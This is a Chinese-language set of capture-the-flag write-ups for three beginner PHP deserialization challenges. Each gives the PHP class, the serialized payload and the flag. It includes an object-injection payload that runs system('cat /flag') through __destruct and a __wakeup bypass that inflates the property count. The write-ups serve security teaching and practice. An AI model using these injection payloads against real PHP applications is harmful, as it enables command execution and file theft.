[SWPUCTF 2022 新生赛]1z_unserialize
进入题目
以上为源代码
从上,我们看见了一个重要的函数__destruct()
这个函数可以将它下面包含的方法,在创建一个新的类的时候,自动执行.所以,我们需要将我们需要的代码转化为创建的一个新的类的序列化,
class lyh{
public $url = 'NSSCTF.com';
public $lt="system";
public $lly="cat /flag";
}
我们使用上面的代码,通过system函数抱住cat文件,将其序列化,可以得到
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
这时,我们将它用post传参,传入即可获得flag
NSSCTF{f7c9fb11-4454-4548-b610-258f3c2655eb}
[SWPUCTF 2022 新生赛]ez_ez_unserialize
以上为源代码
我们需要把高亮的源代码变为flag所在文件夹,所以直接让代码中的x=fllllllag.php,同时绕过__wakeup(),既有
<?php
class X
{
public $x="fllllllag.php";
}
$abc=new X();
echo serialize($abc);
?>
序列化后得到:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
根据__wakeup漏洞:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
得到:
x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
得到flag,
$flag="NSSCTF{eba09b3a-70f3-4f9b-ba9a-31532374561a}
[SWPUCTF 2021 新生赛]ez_unserialize
进入后看到一个图片
使用了robots.txt文件阻止了跳转到源码阶段,于是我们直接搜索这个文件:
可以看见,阻止了所有搜索引擎弹到/c145s.php,于是我们可以直接访问这个文件,不受robots.txt文件的限制;
我们可以直接凭序列化规则构造一个,当然也可以通过代码
<?php
class wllm
{
public $admin="admin";
public $passwd="ctf";
}
$abc=new wllm();
echo serialize($abc);
?>
得到内容:O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
输入后得到flag